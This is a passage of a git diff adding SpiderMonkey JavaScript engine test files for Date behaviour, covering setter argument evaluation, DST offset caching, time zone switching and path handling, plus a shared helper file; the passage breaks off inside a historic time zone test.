+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 452786;
+var summary = 'Do not crash with (new Date()).getMonth.call(new Function())';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ (new Date()).getMonth.call(new Function());
+ }
+ catch(ex)
+ {
+ }
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/Date/reset-time-zone-cache-same-offset.js b/js/src/tests/non262/Date/reset-time-zone-cache-same-offset.js
new file mode 100644
index 0000000000..56c9fc262c
--- /dev/null
+++ b/js/src/tests/non262/Date/reset-time-zone-cache-same-offset.js
@@ -0,0 +1,30 @@
+// |reftest| skip-if(xulRuntime.OS=="WINNT") -- Windows doesn't accept IANA names for the TZ env variable
+
+const testCases = [
+ {
+ timeZone: "Europe/London",
+ string: "Tue Aug 14 2018 00:00:00 GMT+0100 (BST)",
+ alternativeTimeZones: ["British Summer Time"],
+ localeString: "8/14/2018, 12:00:00 AM GMT+1",
+ },
+ {
+ timeZone: "UTC",
+ string: "Tue Aug 14 2018 00:00:00 GMT+0000 (UTC)",
+ alternativeTimeZones: ["Coordinated Universal Time"],
+ localeString: "8/14/2018, 12:00:00 AM UTC",
+ },
+];
+
+// Repeat twice to test both transitions (Europe/London -> UTC and UTC -> Europe/London).
+for (let i = 0; i < 2; ++i) {
+ for (let {timeZone, string, localeString, alternativeTimeZones} of testCases) {
+ setTimeZone(timeZone);
+
+ let dt = new Date(2018, 8 - 1, 14);
+ assertDateTime(dt, string, ...alternativeTimeZones);
+ assertEq(dt.toLocaleString("en-US", {timeZoneName: "short"}), localeString);
+ }
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Date/setTime-argument-shortcircuiting.js b/js/src/tests/non262/Date/setTime-argument-shortcircuiting.js
new file mode 100644
index 0000000000..7e67d03742
--- /dev/null
+++ b/js/src/tests/non262/Date/setTime-argument-shortcircuiting.js
@@ -0,0 +1,147 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+print("Test for correct short-circuiting implementation of Date.set methods");
+
+/**************
+ * BEGIN TEST *
+ **************/
+var global = 0;
+var date;
+
+/* Test that methods don't short circuit argument evaluation. */
+date = new Date(0).setSeconds(NaN, {valueOf:function(){global = 3}});
+assertEq(global, 3);
+
+date = new Date(0).setUTCSeconds(NaN, {valueOf:function(){global = 4}});
+assertEq(global, 4);
+
+date = new Date(0).setMinutes(NaN, {valueOf:function(){global = 5}});
+assertEq(global, 5);
+
+date = new Date(0).setUTCMinutes(NaN, {valueOf:function(){global = 6}});
+assertEq(global, 6);
+
+date = new Date(0).setHours(NaN, {valueOf:function(){global = 7}});
+assertEq(global, 7);
+
+date = new Date(0).setUTCHours(NaN, {valueOf:function(){global = 8}});
+assertEq(global, 8);
+
+date = new Date(0).setMonth(NaN, {valueOf:function(){global = 11}});
+assertEq(global, 11);
+
+date = new Date(0).setUTCMonth(NaN, {valueOf:function(){global = 12}});
+assertEq(global, 12);
+
+date = new Date(0).setFullYear(NaN, {valueOf:function(){global = 13}});
+assertEq(global, 13);
+
+date = new Date(0).setUTCFullYear(NaN, {valueOf:function(){global = 14}});
+assertEq(global, 14);
+
+
+
+/* Test that argument evaluation is not short circuited if Date == NaN */
+date = new Date(NaN).setMilliseconds({valueOf:function(){global = 15}});
+assertEq(global, 15);
+
+date = new Date(NaN).setUTCMilliseconds({valueOf:function(){global = 16}});
+assertEq(global, 16);
+
+date = new Date(NaN).setSeconds({valueOf:function(){global = 17}});
+assertEq(global, 17);
+
+date = new Date(NaN).setUTCSeconds({valueOf:function(){global = 18}});
+assertEq(global, 18);
+
+date = new Date(NaN).setMinutes({valueOf:function(){global = 19}});
+assertEq(global, 19);
+
+date = new Date(NaN).setUTCMinutes({valueOf:function(){global = 20}});
+assertEq(global, 20);
+
+date = new Date(NaN).setHours({valueOf:function(){global = 21}});
+assertEq(global, 21);
+
+date = new Date(NaN).setUTCHours({valueOf:function(){global = 22}});
+assertEq(global, 22);
+
+date = new Date(NaN).setDate({valueOf:function(){global = 23}});
+assertEq(global, 23);
+
+date = new Date(NaN).setUTCDate({valueOf:function(){global = 24}});
+assertEq(global, 24);
+
+date = new Date(NaN).setMonth({valueOf:function(){global = 25}});
+assertEq(global, 25);
+
+date = new Date(NaN).setUTCMonth({valueOf:function(){global = 26}});
+assertEq(global, 26);
+
+date = new Date(NaN).setFullYear({valueOf:function(){global = 27}});
+assertEq(global, 27);
+
+date = new Date(NaN).setUTCFullYear({valueOf:function(){global = 28}});
+assertEq(global, 28);
+
+
+/* Test the combination of the above two. */
+date = new Date(NaN).setSeconds(NaN, {valueOf:function(){global = 31}});
+assertEq(global, 31);
+
+date = new Date(NaN).setUTCSeconds(NaN, {valueOf:function(){global = 32}});
+assertEq(global, 32);
+
+date = new Date(NaN).setMinutes(NaN, {valueOf:function(){global = 33}});
+assertEq(global, 33);
+
+date = new Date(NaN).setUTCMinutes(NaN, {valueOf:function(){global = 34}});
+assertEq(global, 34);
+
+date = new Date(NaN).setHours(NaN, {valueOf:function(){global = 35}});
+assertEq(global, 35);
+
+date = new Date(NaN).setUTCHours(NaN, {valueOf:function(){global = 36}});
+assertEq(global, 36);
+
+date = new Date(NaN).setMonth(NaN, {valueOf:function(){global = 39}});
+assertEq(global, 39);
+
+date = new Date(NaN).setUTCMonth(NaN, {valueOf:function(){global = 40}});
+assertEq(global, 40);
+
+date = new Date(NaN).setFullYear(NaN, {valueOf:function(){global = 41}});
+assertEq(global, 41);
+
+date = new Date(NaN).setUTCFullYear(NaN, {valueOf:function(){global = 42}});
+assertEq(global, 42);
+
+
+/*Test two methods evaluation*/
+var secondGlobal = 0;
+
+date = new Date(NaN).setFullYear({valueOf:function(){global = 43}}, {valueOf:function(){secondGlobal = 1}});
+assertEq(global, 43);
+assertEq(secondGlobal, 1);
+
+date = new Date(0).setFullYear(NaN, {valueOf:function(){global = 44}}, {valueOf:function(){secondGlobal = 2}});
+assertEq(global, 44);
+assertEq(secondGlobal, 2);
+
+
+/* Test year methods*/
+date = new Date(0).setYear({valueOf:function(){global = 45}});
+assertEq(global, 45);
+
+date = new Date(NaN).setYear({valueOf:function(){global = 46}});
+assertEq(global, 46);
+
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/Date/shell.js b/js/src/tests/non262/Date/shell.js
new file mode 100644
index 0000000000..9246c1eaaa
--- /dev/null
+++ b/js/src/tests/non262/Date/shell.js
@@ -0,0 +1,311 @@
+/**
+ * Date functions used by tests in Date suite
+ */
+(function(global) {
+ const msPerDay = 1000 * 60 * 60 * 24;
+ const msPerHour = 1000 * 60 * 60;
+ global.msPerHour = msPerHour;
+
+ // Offset of tester's time zone from UTC.
+ const TZ_DIFF = GetRawTimezoneOffset();
+ global.TZ_ADJUST = TZ_DIFF * msPerHour;
+
+ const UTC_01_JAN_1900 = -2208988800000;
+ const UTC_01_JAN_2000 = 946684800000;
+ const UTC_29_FEB_2000 = UTC_01_JAN_2000 + 31 * msPerDay + 28 * msPerDay;
+ const UTC_01_JAN_2005 = UTC_01_JAN_2000 + TimeInYear(2000) + TimeInYear(2001) +
+ TimeInYear(2002) + TimeInYear(2003) + TimeInYear(2004);
+ global.UTC_01_JAN_1900 = UTC_01_JAN_1900;
+ global.UTC_01_JAN_2000 = UTC_01_JAN_2000;
+ global.UTC_29_FEB_2000 = UTC_29_FEB_2000;
+ global.UTC_01_JAN_2005 = UTC_01_JAN_2005;
+
+ /*
+ * Originally, the test suite used a hard-coded value TZ_DIFF = -8.
+ * But that was only valid for testers in the Pacific Standard Time Zone!
+ * We calculate the proper number dynamically for any tester. We just
+ * have to be careful not to use a date subject to Daylight Savings Time...
+ */
+ function GetRawTimezoneOffset() {
+ let t1 = new Date(2000, 1, 1).getTimezoneOffset();
+ let t2 = new Date(2000, 1 + 6, 1).getTimezoneOffset();
+
+ // 1) Time zone without daylight saving time.
+ // 2) Northern hemisphere with daylight saving time.
+ if ((t1 - t2) >= 0)
+ return -t1 / 60;
+
+ // 3) Southern hemisphere with daylight saving time.
+ return -t2 / 60;
+ }
+
+ function DaysInYear(y) {
+ return y % 4 === 0 && (y % 100 !== 0 || y % 400 === 0) ? 366 : 365;
+ }
+
+ function TimeInYear(y) {
+ return DaysInYear(y) * msPerDay;
+ }
+
+ function getDefaultTimeZone() {
+ var tz = getTimeZone();
+ switch (tz) {
+ case "EST":
+ case "EDT":
+ return "EST5EDT";
+
+ case "CST":
+ case "CDT":
+ return "CST6CDT";
+
+ case "MST":
+ case "MDT":
+ return "MST7MDT";
+
+ case "PST":
+ case "PDT":
+ return "PST8PDT";
+
+ default:
+ // Other time zones abbrevations are not supported.
+ return tz;
+ }
+ }
+
+ function getDefaultLocale() {
+ // If the default locale looks like a BCP-47 language tag, return it.
+ var locale = global.getDefaultLocale();
+ if (locale.match(/^[a-z][a-z0-9\-]+$/i))
+ return locale;
+
+ // Otherwise use undefined to reset to the default locale.
+ return undefined;
+ }
+
+ let defaultTimeZone = null;
+ let defaultLocale = null;
+
+ // Run the given test in the requested time zone.
+ function inTimeZone(tzname, fn) {
+ if (defaultTimeZone === null)
+ defaultTimeZone = getDefaultTimeZone();
+
+ setTimeZone(tzname);
+ try {
+ fn();
+ } finally {
+ setTimeZone(defaultTimeZone);
+ }
+ }
+ global.inTimeZone = inTimeZone;
+
+ // Run the given test with the requested locale.
+ function withLocale(locale, fn) {
+ if (defaultLocale === null)
+ defaultLocale = getDefaultLocale();
+
+ setDefaultLocale(locale);
+ try {
+ fn();
+ } finally {
+ setDefaultLocale(defaultLocale);
+ }
+ }
+ global.withLocale = withLocale;
+
+ const Month = {
+ January: 0,
+ February: 1,
+ March: 2,
+ April: 3,
+ May: 4,
+ June: 5,
+ July: 6,
+ August: 7,
+ September: 8,
+ October: 9,
+ November: 10,
+ December: 11,
+ };
+ global.Month = Month;
+
+ const weekdays = ["Sun", "Mon", "Tue", "Wed", "Thu", "Fri", "Sat"].join("|");
+ const months = ["Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug", "Sep", "Oct", "Nov", "Dec"].join("|");
+ const datePart = String.raw `(?:${weekdays}) (?:${months}) \d{2}`;
+ const timePart = String.raw `\d{4,6} \d{2}:\d{2}:\d{2} GMT[+-]\d{4}`;
+ const dateTimeRE = new RegExp(String.raw `^(${datePart} ${timePart})(?: \((.+)\))?$`);
+
+ function assertDateTime(date, expected, ...alternativeTimeZones) {
+ let actual = date.toString();
+ assertEq(dateTimeRE.test(expected), true, `${expected}`);
+ assertEq(dateTimeRE.test(actual), true, `${actual}`);
+
+ let [, expectedDateTime, expectedTimeZone] = dateTimeRE.exec(expected);
+ let [, actualDateTime, actualTimeZone] = dateTimeRE.exec(actual);
+
+ assertEq(actualDateTime, expectedDateTime);
+
+ // The time zone identifier is optional, so only compare its value if
+ // it's present in |actual| and |expected|.
+ if (expectedTimeZone !== undefined && actualTimeZone !== undefined) {
+ // Test against the alternative time zone identifiers if necessary.
+ if (actualTimeZone !== expectedTimeZone) {
+ for (let alternativeTimeZone of alternativeTimeZones) {
+ if (actualTimeZone === alternativeTimeZone) {
+ expectedTimeZone = alternativeTimeZone;
+ break;
+ }
+ }
+ }
+ assertEq(actualTimeZone, expectedTimeZone);
+ }
+ }
+ global.assertDateTime = assertDateTime;
+})(this);
+
+
+function runDSTOffsetCachingTestsFraction(part, parts)
+{
+ var BUGNUMBER = 563938;
+ var summary = 'Cache DST offsets to improve SunSpider score';
+
+ print(BUGNUMBER + ": " + summary);
+
+ var MAX_UNIX_TIMET = 2145859200; // "2037-12-31T08:00:00.000Z" (PST8PDT based!)
+ var RANGE_EXPANSION_AMOUNT = 30 * 24 * 60 * 60;
+
+ /**
+ * Computes the time zone offset in minutes at the given timestamp.
+ */
+ function tzOffsetFromUnixTimestamp(timestamp)
+ {
+ var d = new Date(NaN);
+ d.setTime(timestamp); // local slot = NaN, UTC slot = timestamp
+ return d.getTimezoneOffset(); // get UTC, calculate local => diff in minutes
+ }
+
+ /**
+ * Clear the DST offset cache, leaving it initialized to include a timestamp
+ * completely unlike the provided one (i.e. one very, very far away in time
+ * from it). Thus an immediately following lookup for the provided timestamp
+ * will cache-miss and compute a clean value.
+ */
+ function clearDSTOffsetCache(undesiredTimestamp)
+ {
+ var opposite = (undesiredTimestamp + MAX_UNIX_TIMET / 2) % MAX_UNIX_TIMET;
+
+ // Generic purge to known, but not necessarily desired, state
+ tzOffsetFromUnixTimestamp(0);
+ tzOffsetFromUnixTimestamp(MAX_UNIX_TIMET);
+
+ // Purge to desired state. Cycle 2x in case opposite or undesiredTimestamp
+ // is close to 0 or MAX_UNIX_TIMET.
+ tzOffsetFromUnixTimestamp(opposite);
+ tzOffsetFromUnixTimestamp(undesiredTimestamp);
+ tzOffsetFromUnixTimestamp(opposite);
+ tzOffsetFromUnixTimestamp(undesiredTimestamp);
+ }
+
+ function computeCanonicalTZOffset(timestamp)
+ {
+ clearDSTOffsetCache(timestamp);
+ return tzOffsetFromUnixTimestamp(timestamp);
+ }
+
+ var TEST_TIMESTAMPS_SECONDS =
+ [
+ // Special-ish timestamps
+ 0,
+ RANGE_EXPANSION_AMOUNT,
+ MAX_UNIX_TIMET,
+ ];
+
+ var ONE_DAY = 24 * 60 * 60;
+ var EIGHTY_THREE_HOURS = 83 * 60 * 60;
+ var NINETY_EIGHT_HOURS = 98 * 60 * 60;
+ function nextIncrement(i)
+ {
+ return i === EIGHTY_THREE_HOURS ? NINETY_EIGHT_HOURS : EIGHTY_THREE_HOURS;
+ }
+
+ // Now add a long sequence of non-special timestamps, from a fixed range, that
+ // overlaps a DST change by "a bit" on each side. 67 days should be enough
+ // displacement that we can occasionally exercise the implementation's
+ // thirty-day expansion and the DST-offset-change logic. Use two different
+ // increments just to be safe and catch something a single increment might not.
+ var DST_CHANGE_DATE = 1268553600; // March 14, 2010
+ for (var t = DST_CHANGE_DATE - 67 * ONE_DAY,
+ i = nextIncrement(NINETY_EIGHT_HOURS),
+ end = DST_CHANGE_DATE + 67 * ONE_DAY;
+ t < end;
+ i = nextIncrement(i), t += i)
+ {
+ TEST_TIMESTAMPS_SECONDS.push(t);
+ }
+
+ var TEST_TIMESTAMPS =
+ TEST_TIMESTAMPS_SECONDS.map(function(v) { return v * 1000; });
+
+ /**************
+ * BEGIN TEST *
+ **************/
+
+ // Compute the correct time zone offsets for all timestamps to be tested.
+ var CORRECT_TZOFFSETS = TEST_TIMESTAMPS.map(computeCanonicalTZOffset);
+
+ // Intentionally and knowingly invoking every single logic path in the cache
+ // isn't easy for a human to get right (and know he's gotten it right), so
+ // let's do it the easy way: exhaustively try all possible four-date sequences
+ // selecting from our array of possible timestamps.
+
+ var sz = TEST_TIMESTAMPS.length;
+ var start = Math.floor((part - 1) / parts * sz);
+ var end = Math.floor(part / parts * sz);
+
+ print("Exhaustively testing timestamps " +
+ "[" + start + ", " + end + ") of " + sz + "...");
+
+ try
+ {
+ for (var i = start; i < end; i++)
+ {
+ print("Testing timestamp " + i + "...");
+
+ var t1 = TEST_TIMESTAMPS[i];
+ for (var j = 0; j < sz; j++)
+ {
+ var t2 = TEST_TIMESTAMPS[j];
+ for (var k = 0; k < sz; k++)
+ {
+ var t3 = TEST_TIMESTAMPS[k];
+ for (var w = 0; w < sz; w++)
+ {
+ var t4 = TEST_TIMESTAMPS[w];
+
+ clearDSTOffsetCache(t1);
+
+ var tzo1 = tzOffsetFromUnixTimestamp(t1);
+ var tzo2 = tzOffsetFromUnixTimestamp(t2);
+ var tzo3 = tzOffsetFromUnixTimestamp(t3);
+ var tzo4 = tzOffsetFromUnixTimestamp(t4);
+
+ assertEq(tzo1, CORRECT_TZOFFSETS[i]);
+ assertEq(tzo2, CORRECT_TZOFFSETS[j]);
+ assertEq(tzo3, CORRECT_TZOFFSETS[k]);
+ assertEq(tzo4, CORRECT_TZOFFSETS[w]);
+ }
+ }
+ }
+ }
+ }
+ catch (e)
+ {
+ assertEq(true, false,
+ "Error when testing with timestamps " +
+ i + ", " + j + ", " + k + ", " + w +
+ " (" + t1 + ", " + t2 + ", " + t3 + ", " + t4 + ")!");
+ }
+
+ reportCompare(true, true);
+ print("All tests passed!");
+}
diff --git a/js/src/tests/non262/Date/time-components-negative-zero.js b/js/src/tests/non262/Date/time-components-negative-zero.js
new file mode 100644
index 0000000000..511dcc9fe4
--- /dev/null
+++ b/js/src/tests/non262/Date/time-components-negative-zero.js
@@ -0,0 +1,18 @@
+// Don't return negative zero for get[Hours,Minutes,Seconds,Milliseconds] for dates before 1970.
+
+let date = new Date(1955, 0, 1);
+assertEq(date.getTime() < 0, true);
+assertEq(date.getHours(), +0);
+assertEq(date.getMinutes(), +0);
+assertEq(date.getSeconds(), +0);
+assertEq(date.getMilliseconds(), +0);
+
+let utc = new Date(Date.UTC(1955, 0, 1));
+assertEq(utc.getTime() < 0, true);
+assertEq(utc.getUTCHours(), +0);
+assertEq(utc.getUTCMinutes(), +0);
+assertEq(utc.getUTCSeconds(), +0);
+assertEq(utc.getUTCMilliseconds(), +0);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Date/time-zone-2038-pst.js b/js/src/tests/non262/Date/time-zone-2038-pst.js
new file mode 100644
index 0000000000..2abad4dbfd
--- /dev/null
+++ b/js/src/tests/non262/Date/time-zone-2038-pst.js
@@ -0,0 +1,43 @@
+// |reftest| skip-if(!xulRuntime.shell)
+
+assertEq(/^(PST|PDT)$/.test(getTimeZone()), true,
+ "The default time zone is set to PST8PDT for all jstests (when run in the shell)");
+
+// U.S. daylight saving rules changed in 2007, excerpt from tzdata's
+// northamerica file:
+// NAME FROM TO IN ON AT SAVE LETTER/S
+// US 1967 2006 Oct lastSun 2:00 0 S
+// US 1967 1973 Apr lastSun 2:00 1:00 D
+// US 1974 only Jan 6 2:00 1:00 D
+// US 1975 only Feb 23 2:00 1:00 D
+// US 1976 1986 Apr lastSun 2:00 1:00 D
+// US 1987 2006 Apr Sun>=1 2:00 1:00 D
+// US 2007 max Mar Sun>=8 2:00 1:00 D
+// US 2007 max Nov Sun>=1 2:00 0 S
+
+
+// When 2040 is mapped to 1984, the old U.S. rules are applied, i.e. DST isn't
+// yet observed on March 31. If mapped to 2012, the new U.S. rules are applied
+// and DST is already observed, which is the expected behaviour.
+// A similar effect is visible in November.
+// NOTE: This test expects that 2012 and 2040 use the same DST rules. If this
+// ever changes, the test needs to be updated accordingly.
+{
+ let dt1 = new Date(2040, Month.March, 31);
+ assertDateTime(dt1, "Sat Mar 31 2040 00:00:00 GMT-0700 (PDT)", "Pacific Daylight Time");
+
+ let dt2 = new Date(2040, Month.November, 1);
+ assertDateTime(dt2, "Thu Nov 01 2040 00:00:00 GMT-0700 (PDT)", "Pacific Daylight Time");
+}
+
+// 2038 is mapped to 2027 instead of 1971.
+{
+ let dt1 = new Date(2038, Month.March, 31);
+ assertDateTime(dt1, "Wed Mar 31 2038 00:00:00 GMT-0700 (PDT)", "Pacific Daylight Time");
+
+ let dt2 = new Date(2038, Month.November, 1);
+ assertDateTime(dt2, "Mon Nov 01 2038 00:00:00 GMT-0700 (PDT)", "Pacific Daylight Time");
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Date/time-zone-etc_localetime.js b/js/src/tests/non262/Date/time-zone-etc_localetime.js
new file mode 100644
index 0000000000..eaf8f7d940
--- /dev/null
+++ b/js/src/tests/non262/Date/time-zone-etc_localetime.js
@@ -0,0 +1,29 @@
+// |reftest| skip-if(xulRuntime.OS=="WINNT"||!xulRuntime.shell)
+
+assertEq(/^(PST|PDT)$/.test(getTimeZone()), true,
+ "The default time zone is set to PST8PDT for all jstests (when run in the shell)");
+
+function timeZoneName() {
+ var dtf = new Intl.DateTimeFormat("en-US", {timeZoneName: "long"});
+ return dtf.formatToParts().filter(x => x.type === "timeZoneName")[0].value;
+}
+
+// Calling setTimeZone() with an undefined argument clears the TZ environment
+// variable and by that reveal the actual system time zone.
+setTimeZone(undefined);
+var systemTimeZone = getTimeZone();
+var systemTimeZoneName = timeZoneName();
+
+// Set to an unlikely system time zone, so that the next call to setTimeZone()
+// will lead to a time zone change.
+setTimeZone("Antarctica/Troll");
+
+// Now call with the file path ":/etc/localtime" which is special-cased in
+// DateTimeInfo to read the system time zone.
+setTimeZone(":/etc/localtime");
+
+assertEq(getTimeZone(), systemTimeZone);
+assertEq(timeZoneName(), systemTimeZoneName);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Date/time-zone-path.js b/js/src/tests/non262/Date/time-zone-path.js
new file mode 100644
index 0000000000..3422022e2b
--- /dev/null
+++ b/js/src/tests/non262/Date/time-zone-path.js
@@ -0,0 +1,30 @@
+// |reftest| skip-if(xulRuntime.OS=="WINNT"||!xulRuntime.shell)
+
+assertEq(/^(PST|PDT)$/.test(getTimeZone()), true,
+ "The default time zone is set to PST8PDT for all jstests (when run in the shell)");
+
+function timeZoneName() {
+ var dtf = new Intl.DateTimeFormat("en-US", {timeZoneName: "long"});
+ return dtf.formatToParts(Date.UTC(2017, 2, 31, 12, 0, 0)).filter(x => x.type === "timeZoneName")[0].value;
+}
+
+setTimeZone("Europe/Paris");
+assertEq(timeZoneName(), "Central European Summer Time");
+
+setTimeZone(":Europe/Helsinki");
+assertEq(timeZoneName(), "Eastern European Summer Time");
+
+setTimeZone("::Europe/London"); // two colons, invalid
+assertEq(timeZoneName(), "Coordinated Universal Time");
+
+setTimeZone("/this-part-is-ignored/zoneinfo/America/Chicago");
+assertEq(timeZoneName(), "Central Daylight Time");
+
+setTimeZone(":/this-part-is-ignored/zoneinfo/America/Phoenix");
+assertEq(timeZoneName(), "Mountain Standard Time");
+
+setTimeZone("::/this-part-is-ignored/zoneinfo/America/Los_Angeles"); // two colons, invalid
+assertEq(timeZoneName(), "Coordinated Universal Time");
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Date/time-zone-pst.js b/js/src/tests/non262/Date/time-zone-pst.js
new file mode 100644
index 0000000000..341d3c8236
--- /dev/null
+++ b/js/src/tests/non262/Date/time-zone-pst.js
@@ -0,0 +1,120 @@
+// |reftest| skip-if(!xulRuntime.shell)
+
+assertEq(/^(PST|PDT)$/.test(getTimeZone()), true,
+ "The default time zone is set to PST8PDT for all jstests (when run in the shell)");
+
+const msPerMinute = 60 * 1000;
+
+function shortTimeZone(str) {
+ return str.replace("(Pacific Standard Time)", "(PST)")
+ .replace("(Pacific Daylight Time)", "(PDT)");
+}
+
+function assertEqDate(dt, date, time) {
+ assertEq(shortTimeZone(dt.toString()), `${date} ${time}`);
+ assertEq(dt.toDateString(), date);
+ assertEq(shortTimeZone(dt.toTimeString()), time);
+}
+
+// PDT -> PST, using milliseconds from epoch.
+{
+ let midnight = new Date(2016, Month.November, 6, 0, 0, 0, 0);
+ let midnightUTC = Date.UTC(2016, Month.November, 6, 0, 0, 0, 0);
+
+ // Ensure midnight time is correct.
+ assertEq(midnightUTC - midnight.getTime(), -7 * msPerHour);
+
+ let tests = [
+ { offset: 0 * 60, date: "Sun Nov 06 2016", time: "00:00:00 GMT-0700 (PDT)" },
+ { offset: 0 * 60 + 30, date: "Sun Nov 06 2016", time: "00:30:00 GMT-0700 (PDT)" },
+ { offset: 1 * 60, date: "Sun Nov 06 2016", time: "01:00:00 GMT-0700 (PDT)" },
+ { offset: 1 * 60 + 30, date: "Sun Nov 06 2016", time: "01:30:00 GMT-0700 (PDT)" },
+ { offset: 2 * 60, date: "Sun Nov 06 2016", time: "01:00:00 GMT-0800 (PST)" },
+ { offset: 2 * 60 + 30, date: "Sun Nov 06 2016", time: "01:30:00 GMT-0800 (PST)" },
+ { offset: 3 * 60, date: "Sun Nov 06 2016", time: "02:00:00 GMT-0800 (PST)" },
+ { offset: 3 * 60 + 30, date: "Sun Nov 06 2016", time: "02:30:00 GMT-0800 (PST)" },
+ { offset: 4 * 60, date: "Sun Nov 06 2016", time: "03:00:00 GMT-0800 (PST)" },
+ { offset: 4 * 60 + 30, date: "Sun Nov 06 2016", time: "03:30:00 GMT-0800 (PST)" },
+ ];
+
+ for (let {offset, date, time} of tests) {
+ let dt = new Date(midnight.getTime() + offset * msPerMinute);
+ assertEqDate(dt, date, time);
+ }
+}
+
+
+// PDT -> PST, using local date-time.
+{
+ let tests = [
+ { offset: 0 * 60, date: "Sun Nov 06 2016", time: "00:00:00 GMT-0700 (PDT)" },
+ { offset: 0 * 60 + 30, date: "Sun Nov 06 2016", time: "00:30:00 GMT-0700 (PDT)" },
+ { offset: 1 * 60, date: "Sun Nov 06 2016", time: "01:00:00 GMT-0700 (PDT)" },
+ { offset: 1 * 60 + 30, date: "Sun Nov 06 2016", time: "01:30:00 GMT-0700 (PDT)" },
+ { offset: 2 * 60, date: "Sun Nov 06 2016", time: "02:00:00 GMT-0800 (PST)" },
+ { offset: 2 * 60 + 30, date: "Sun Nov 06 2016", time: "02:30:00 GMT-0800 (PST)" },
+ { offset: 3 * 60, date: "Sun Nov 06 2016", time: "03:00:00 GMT-0800 (PST)" },
+ { offset: 3 * 60 + 30, date: "Sun Nov 06 2016", time: "03:30:00 GMT-0800 (PST)" },
+ { offset: 4 * 60, date: "Sun Nov 06 2016", time: "04:00:00 GMT-0800 (PST)" },
+ { offset: 4 * 60 + 30, date: "Sun Nov 06 2016", time: "04:30:00 GMT-0800 (PST)" },
+ ];
+
+ for (let {offset, date, time} of tests) {
+ let dt = new Date(2016, Month.November, 6, (offset / 60)|0, (offset % 60), 0, 0);
+ assertEqDate(dt, date, time);
+ }
+}
+
+
+// PST -> PDT, using milliseconds from epoch.
+{
+ let midnight = new Date(2016, Month.March, 13, 0, 0, 0, 0);
+ let midnightUTC = Date.UTC(2016, Month.March, 13, 0, 0, 0, 0);
+
+ // Ensure midnight time is correct.
+ assertEq(midnightUTC - midnight.getTime(), -8 * msPerHour);
+
+ let tests = [
+ { offset: 0 * 60, date: "Sun Mar 13 2016", time: "00:00:00 GMT-0800 (PST)" },
+ { offset: 0 * 60 + 30, date: "Sun Mar 13 2016", time: "00:30:00 GMT-0800 (PST)" },
+ { offset: 1 * 60, date: "Sun Mar 13 2016", time: "01:00:00 GMT-0800 (PST)" },
+ { offset: 1 * 60 + 30, date: "Sun Mar 13 2016", time: "01:30:00 GMT-0800 (PST)" },
+ { offset: 2 * 60, date: "Sun Mar 13 2016", time: "03:00:00 GMT-0700 (PDT)" },
+ { offset: 2 * 60 + 30, date: "Sun Mar 13 2016", time: "03:30:00 GMT-0700 (PDT)" },
+ { offset: 3 * 60, date: "Sun Mar 13 2016", time: "04:00:00 GMT-0700 (PDT)" },
+ { offset: 3 * 60 + 30, date: "Sun Mar 13 2016", time: "04:30:00 GMT-0700 (PDT)" },
+ { offset: 4 * 60, date: "Sun Mar 13 2016", time: "05:00:00 GMT-0700 (PDT)" },
+ { offset: 4 * 60 + 30, date: "Sun Mar 13 2016", time: "05:30:00 GMT-0700 (PDT)" },
+ ];
+
+ for (let {offset, date, time} of tests) {
+ let dt = new Date(midnight.getTime() + offset * msPerMinute);
+ assertEqDate(dt, date, time);
+ }
+}
+
+
+// PST -> PDT, using local date-time.
+{
+ let tests = [
+ { offset: 0 * 60, date: "Sun Mar 13 2016", time: "00:00:00 GMT-0800 (PST)" },
+ { offset: 0 * 60 + 30, date: "Sun Mar 13 2016", time: "00:30:00 GMT-0800 (PST)" },
+ { offset: 1 * 60, date: "Sun Mar 13 2016", time: "01:00:00 GMT-0800 (PST)" },
+ { offset: 1 * 60 + 30, date: "Sun Mar 13 2016", time: "01:30:00 GMT-0800 (PST)" },
+ { offset: 2 * 60, date: "Sun Mar 13 2016", time: "03:00:00 GMT-0700 (PDT)" },
+ { offset: 2 * 60 + 30, date: "Sun Mar 13 2016", time: "03:30:00 GMT-0700 (PDT)" },
+ { offset: 3 * 60, date: "Sun Mar 13 2016", time: "03:00:00 GMT-0700 (PDT)" },
+ { offset: 3 * 60 + 30, date: "Sun Mar 13 2016", time: "03:30:00 GMT-0700 (PDT)" },
+ { offset: 4 * 60, date: "Sun Mar 13 2016", time: "04:00:00 GMT-0700 (PDT)" },
+ { offset: 4 * 60 + 30, date: "Sun Mar 13 2016", time: "04:30:00 GMT-0700 (PDT)" },
+ ];
+
+ for (let {offset, date, time} of tests) {
+ let dt = new Date(2016, Month.March, 13, (offset / 60)|0, (offset % 60), 0, 0);
+ assertEqDate(dt, date, time);
+ }
+}
+
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Date/time-zones-historic.js b/js/src/tests/non262/Date/time-zones-historic.js
new file mode 100644
index 0000000000..3117870687
--- /dev/null
+++ b/js/src/tests/non262/Date/time-zones-historic.js
@@ -0,0 +1,538 @@
+// |reftest| skip-if(xulRuntime.OS=="WINNT"||!this.hasOwnProperty("Intl")) -- Windows doesn't accept IANA names for the TZ env variable; Requires ICU time zone support
+
+// bug 487897
+inTimeZone("Europe/London", () => {
+ let dt1 = new Date(1970, Month.January, 1, 0, 0, 0, 0);
+ assertDateTime(dt1, "Thu Jan 01 1970 00:00:00 GMT+0100 (Greenwich Mean Time)");
+ assertEq(dt1.getHours(), 0);
+
+ let dt2 = new Date(1915, Month.January, 1);
